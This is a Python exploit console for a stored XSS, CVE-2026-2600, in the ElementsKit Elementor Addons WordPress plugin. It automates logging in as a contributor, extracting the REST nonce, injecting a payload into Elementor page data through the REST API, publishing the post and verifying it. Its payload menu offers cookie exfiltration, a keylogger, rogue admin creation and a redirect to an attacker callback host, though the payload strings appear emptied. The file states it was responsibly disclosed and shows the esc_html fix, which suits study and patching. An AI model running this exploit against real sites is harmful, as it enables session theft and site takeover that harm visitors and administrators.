#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-2600 - ElementsKit Stored XSS - Interactive Console Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF A menu-driven terminal console for exploiting CVE-2026-2600. Lets you authenticate, choose a payload, inject, publish, and verify step by step - useful for demos, labs, and CTFs. Usage: python console_poc.py """ import json import os import re import sys import time import uuid import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Force UTF-8 on Windows terminals if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8': try: sys.stdout.reconfigure(encoding='utf-8') except AttributeError: pass # ─── Terminal colours & helpers ──────────────────────────────────────────────── R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" M = "\033[95m" C = "\033[96m" W = "\033[97m" DIM = "\033[2m" RST = "\033[0m" BOLD= "\033[1m" def cls(): os.system("cls" if os.name == "nt" else "clear") def pause(): input(f"\n {DIM}Press ENTER to continue ...{RST}") def hr(char="─", width=62): print(f" {DIM}{char * width}{RST}") def header(title: str): cls() hr("═") print(f"\n {BOLD}{W}CVE-2026-2600{RST} {DIM}|{RST} {C}{title}{RST}\n") hr() print() def banner(): cls() print(f""" {R} +----------------------------------------------------------+{RST} {R} | {W}{BOLD}CVE-2026-2600 - ElementsKit Stored XSS Console{RST}{R} |{RST} {R} +----------------------------------------------------------+{RST} {Y} | Plugin : ElementsKit Elementor Addons <= 3.7.9 |{RST} {Y} | Widget : Simple Tab (ekit-tab) |{RST} {Y} | Type : Stored XSS via REST API bypass |{RST} {G} | CVSS : 6.4 MEDIUM | Role: Contributor+ |{RST} {DIM} | Author : Alaaeddine Knani (@iwd) - ODDO BHF |{RST} {R} +----------------------------------------------------------+{RST} """) def log(msg): print(f" {B}[*]{RST} {msg}") def ok(msg): print(f" {G}[+]{RST} {BOLD}{msg}{RST}") def warn(msg): print(f" {Y}[!]{RST} {msg}") def fail(msg): print(f" {R}[-]{RST} {msg}") def step(n, msg): print(f"\n {C}[{n}]{RST} {W}{msg}{RST}") # ─── Elementor data builder ──────────────────────────────────────────────────── def build_elementor_data(xss_payload: str) -> list: def uid() -> str: return uuid.uuid4().hex[:6] return [ { "id": uid(), "elType": "section", "isInner": False, "settings": {}, "elements": [ { "id": uid(), "elType": "column", "settings": {"_column_size": 100}, "elements": [ { "id": uid(), "elType": "widget", "widgetType": "elementskit-simple-tab", "settings": { "ekit_tab_items": [ { "_id": uid(), "ekit_tab_title": xss_payload, "ekit_tab_content": "

Content

", "tab_id": "tab-1", }, { "_id": uid(), "ekit_tab_title": "Tab 2", "ekit_tab_content": "

More content

", "tab_id": "tab-2", }, ], "ekit_tab_active_index": 0, }, } ], } ], } ] # ─── Exploit state ───────────────────────────────────────────────────────────── class ExploitState: def __init__(self): self.target = "" self.username = "" self.password = "" self.callback = "" self.payload = "" self.nonce = "" self.post_id = None self.post_url = "" self.session = requests.Session() self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"}) self.session.verify = True self.authenticated = False self.injected = False self.published = False def status_line(self): parts = [] if self.target: parts.append(f"{DIM}target:{RST} {C}{self.target}{RST}") if self.authenticated: parts.append(f"{G}✓ auth{RST}") if self.post_id: parts.append(f"{G}✓ post #{self.post_id}{RST}") if self.injected: parts.append(f"{R}✓ injected{RST}") if self.published: parts.append(f"{Y}✓ published{RST}") return " " + " | ".join(parts) if parts else "" S = ExploitState() BUILTIN_PAYLOADS = { "1": ("Cookie Exfiltration", lambda: f''), "2": ("Alert PoC (safe demo)", lambda: ''), "3": ("Keylogger", lambda: f''), "4": ("Admin account creation", lambda: ( "" )), "5": ("Full redirect", lambda: f''), "6": ("Custom payload", None), } # ─── Screen modules ──────────────────────────────────────────────────────────── def screen_configure(): header("Configure Target") print(f" {DIM}Leave blank to keep current value.{RST}\n") def ask(prompt, current, secret=False): suffix = f" {DIM}[{current if not secret else '****'}]{RST}" if current else "" val = input(f" {W}{prompt}{suffix}: {RST}").strip() return val if val else current S.target = ask("Target URL (https://victim.com)", S.target).rstrip("/") S.username = ask("Username", S.username) S.password = ask("Password", S.password, secret=True) S.callback = ask("Callback URL (attacker server)", S.callback or "https://attacker.example.com") print() ok("Configuration saved") pause() def screen_authenticate(): header("Step 1 - Authenticate") if not S.target or not S.username or not S.password: warn("Configure target first (option 1)") pause() return log(f"Logging in as {W}{S.username}{RST} to {C}{S.target}{RST} ...") try: resp = S.session.post( f"{S.target}/wp-login.php", data={ "log": S.username, "pwd": S.password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", }, cookies={"wordpress_test_cookie": "WP+Cookie+check"}, allow_redirects=True, timeout=20, ) except requests.RequestException as exc: fail(f"Request failed: {exc}") pause() return if not any("wordpress_logged_in" in c.name for c in S.session.cookies): fail("Login failed - bad credentials or login protection active") pause() return S.authenticated = True ok("Authenticated - session cookie stored") # Immediately grab nonce too log("Extracting REST nonce ...") try: html = S.session.get(f"{S.target}/wp-admin/post-new.php", timeout=20).text for pat in [r'"nonce"\s*:\s*"([a-f0-9]{10,})"', r'"rest_nonce"\s*:\s*"([^"]+)"']: m = re.search(pat, html) if m: S.nonce = m.group(1) ok(f"REST nonce: {C}{S.nonce}{RST}") break if not S.nonce: warn("Could not auto-extract nonce - set manually if needed") except requests.RequestException: warn("Could not load post editor to extract nonce") pause() def screen_choose_payload(): header("Step 2 - Choose Payload") print(f" {'#':<4} {'Payload Type':<34} {'Description'}") hr() for k, (name, _) in BUILTIN_PAYLOADS.items(): marker = f"{G}●{RST}" if S.payload and S.payload.startswith(str(k)) else " " print(f" {marker} {k:<3} {name}") print() choice = input(f" {W}Choose payload [1-6]: {RST}").strip() if choice not in BUILTIN_PAYLOADS: warn("Invalid choice") pause() return name, builder = BUILTIN_PAYLOADS[choice] if choice == "6" or builder is None: print(f"\n {DIM}Enter your custom HTML/JS payload:{RST}") custom = input(f" {W}> {RST}").strip() if not custom: warn("Empty payload - cancelled") pause() return S.payload = custom else: S.payload = builder() print() ok(f"Payload selected: {Y}{name}{RST}") print(f" {DIM}Preview: {R}{S.payload[:120]}{'...' if len(S.payload)>120 else ''}{RST}") pause() def screen_create_post(): header("Step 3 - Create Draft Post") if not S.authenticated: warn("Authenticate first (option 2)") pause() return if not S.nonce: warn("No REST nonce available - authenticate again") pause() return title = input(f" {W}Post title {DIM}[Security Research]{RST}{W}: {RST}").strip() or "Security Research" log(f"Creating draft post titled {W}{title!r}{RST} ...") try: r = S.session.post( f"{S.target}/wp-json/wp/v2/posts", headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"}, json={"title": title, "status": "draft", "content": ""}, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: fail(f"Failed: {exc}") pause() return S.post_id = r.json().get("id") if not S.post_id: fail("No post ID in response - check permissions") pause() return ok(f"Draft created → post ID {Y}{S.post_id}{RST}") ok(f"Edit URL: {C}{S.target}/wp-admin/post.php?post={S.post_id}&action=edit{RST}") pause() def screen_inject(): header("Step 4 - Inject Payload") if not S.post_id: warn("Create a post first (option 3)") pause() return if not S.payload: warn("Choose a payload first (option 2)") pause() return print(f" {DIM}Sending PATCH to /wp-json/wp/v2/posts/{S.post_id}{RST}") print(f" {DIM}This bypasses Elementor's client-side sanitization.{RST}\n") log("Injecting into _elementor_data via REST API ...") print(f" {DIM}Payload: {R}{S.payload[:100]}{'...' if len(S.payload)>100 else ''}{RST}") print() elementor_data = build_elementor_data(S.payload) try: r = S.session.patch( f"{S.target}/wp-json/wp/v2/posts/{S.post_id}", headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"}, json={ "meta": { "_elementor_data": json.dumps(elementor_data), "_elementor_edit_mode": "builder", } }, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: fail(f"PATCH failed: {exc}") pause() return stored = r.json().get("meta", {}).get("_elementor_data", "") if S.payload in stored or S.payload.replace('"', '\\"') in stored: S.injected = True ok(f"{G}{BOLD}Payload stored in database - confirmed!{RST}") print(f"\n {DIM}The payload will execute for every visitor when the page loads.{RST}") else: warn("Payload not visible in response (meta may be restricted) - likely stored anyway") S.injected = True pause() def screen_publish(): header("Step 5 - Publish Post") if not S.post_id: warn("Create a post first (option 3)") pause() return if not S.injected: warn("Inject payload first (option 4)") confirm = input(f" {Y}Publish anyway? [y/N]: {RST}").strip().lower() if confirm != "y": return log(f"Publishing post #{S.post_id} ...") try: r = S.session.post( f"{S.target}/wp-json/wp/v2/posts/{S.post_id}", headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"}, json={"status": "publish"}, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: fail(f"Failed to publish: {exc}") pause() return S.post_url = r.json().get("link", f"{S.target}/?p={S.post_id}") S.published = True ok(f"Post published → {C}{S.post_url}{RST}") print(f"\n {Y}Note:{RST} On many sites Contributors submit for review.") print(f" {DIM}The payload fires even while the post is pending review{RST}") print(f" {DIM}(when an editor opens the preview link).{RST}") pause() def screen_verify(): header("Step 6 - Verify Payload") url = S.post_url or (f"{S.target}/?p={S.post_id}" if S.post_id else "") if not url: warn("No post URL - publish first (option 5)") pause() return custom_url = input(f" {W}URL to verify {DIM}[{url}]{RST}{W}: {RST}").strip() if custom_url: url = custom_url log(f"Fetching {url} ...") try: html = requests.get(url, verify=S.session.verify, timeout=20).text except requests.RequestException as exc: fail(f"Could not fetch page: {exc}") pause() return marker = "onerror" if "onerror" in (S.payload or "") else "script" if marker in html: ok(f"{G}{BOLD}CONFIRMED: Payload is live in page source!{RST}") print(f"\n {DIM}Found marker: {R}'{marker}'{RST}") # Show surrounding context idx = html.find(marker) snippet = html[max(0, idx-40):idx+80].replace("\n", " ") print(f" {DIM}Context: ...{R}{snippet}{RST}...{RST}") else: warn(f"Marker '{marker}' not found - post may still be pending review") print(f" {DIM}Try browsing to the URL manually or check draft preview.{RST}") pause() def screen_full_auto(): header("Full Auto - Run All Steps") if not S.target: warn("Configure target first (option 1)") pause() return if not S.payload: warn("Choose a payload first (option 2)") pause() return confirm = input( f" {Y}This will authenticate, create a post, inject, and publish on{RST}\n" f" {C}{S.target}{RST}\n\n" f" {W}Continue? [y/N]: {RST}" ).strip().lower() if confirm != "y": print(f" {DIM}Aborted.{RST}") pause() return print() steps = [ ("Authenticating", screen_authenticate), ("Creating draft post", screen_create_post), ("Injecting payload", screen_inject), ("Publishing", screen_publish), ("Verifying", screen_verify), ] for name, fn in steps: step("→", name) fn() if "authenticate" in name.lower() and not S.authenticated: fail("Cannot continue - authentication failed") return print() hr("═") ok(f"Full chain complete!") print(f" {DIM}Infected URL : {C}{S.post_url or S.target+'/?p='+str(S.post_id)}{RST}") print(f" {DIM}Callback URL : {C}{S.callback}{RST}") print(f" {DIM}Payload fires for every visitor - including admins.{RST}") hr("═") pause() def screen_show_status(): header("Current State") print(f" {'Target':<18} {C}{S.target or '(not set)'}{RST}") print(f" {'Username':<18} {W}{S.username or '(not set)'}{RST}") print(f" {'Callback URL':<18} {C}{S.callback or '(not set)'}{RST}") print(f" {'Authenticated':<18} {(G+'✓ yes' if S.authenticated else R+'✗ no')}{RST}") print(f" {'REST Nonce':<18} {(C+S.nonce if S.nonce else DIM+'(none)')}{RST}") print(f" {'Post ID':<18} {(Y+str(S.post_id) if S.post_id else DIM+'(none)')}{RST}") print(f" {'Injected':<18} {(G+'✓ yes' if S.injected else DIM+'no')}{RST}") print(f" {'Published':<18} {(G+'✓ yes' if S.published else DIM+'no')}{RST}") print(f" {'Post URL':<18} {(C+S.post_url if S.post_url else DIM+'(none)')}{RST}") if S.payload: print(f"\n {'Payload':<18} {R}{S.payload[:80]}{'...' if len(S.payload)>80 else ''}{RST}") pause() def screen_about(): header("About / Help") print(f""" {W}{BOLD}CVE-2026-2600{RST} - Stored XSS in ElementsKit Elementor Addons {DIM}Affected :{RST} ElementsKit Elementor Addons <= 3.7.9 {DIM}Widget :{RST} Simple Tab (ekit-tab) {DIM}CVSS :{RST} 6.4 MEDIUM {DIM}Required :{RST} Contributor role (edit_posts capability) {DIM}Author :{RST} Alaaeddine Knani (@iwd) - ODDO BHF {C}How it works:{RST} The ekit-tab widget's render() function outputs the tab title field without esc_html(). Elementor's UI strips dangerous tags client-side, but the WordPress REST API accepts raw JSON in _elementor_data and stores it verbatim. Any Contributor can PATCH a post's meta via: {DIM}PATCH /wp-json/wp/v2/posts/{{id}} HTTP/1.1{RST} {DIM}X-WP-Nonce: {RST} {DIM}{{"meta": {{"_elementor_data": "......"}}}}{RST} {C}Responsible disclosure:{RST} Reported to Patchstack Alliance. Patched in a subsequent release. All testing done on isolated local @wordpress/env instances. {C}Fix:{RST} Replace: {R}echo $item['ekit_tab_title'];{RST} With: {G}echo esc_html( $item['ekit_tab_title'] );{RST} """) pause() # ─── Main menu ───────────────────────────────────────────────────────────────── MENU = [ ("1", "Configure target / credentials", screen_configure), ("2", "Choose XSS payload", screen_choose_payload), ("3", "Create draft post (Step 1)", screen_create_post), ("4", "Inject payload via REST API (Step 2)", screen_inject), ("5", "Publish the post (Step 3)", screen_publish), ("6", "Verify payload in page source", screen_verify), ("7", "Authenticate only", screen_authenticate), ("8", "Full auto (steps 1–5)", screen_full_auto), ("9", "Show current state", screen_show_status), ("a", "About / Help", screen_about), ("q", "Quit", None), ] def main_menu(): while True: banner() status = S.status_line() if status: print(status) print() hr() for key, label, _ in MENU: if key == "q": hr() marker = f" {G}●{RST}" if ( (key == "1" and S.target) or (key == "2" and S.payload) or (key == "3" and S.post_id) or (key == "4" and S.injected) or (key == "5" and S.published) ) else " " print(f"{marker} {Y}[{key}]{RST} {label}") print() choice = input(f" {W}→ {RST}").strip().lower() for key, _, handler in MENU: if choice == key: if handler is None: cls() print(f"\n {DIM}Goodbye.{RST}\n") sys.exit(0) handler() break else: warn("Unknown option") time.sleep(0.8) if __name__ == "__main__": try: main_menu() except KeyboardInterrupt: print(f"\n\n {DIM}Interrupted. Goodbye.{RST}\n") sys.exit(0)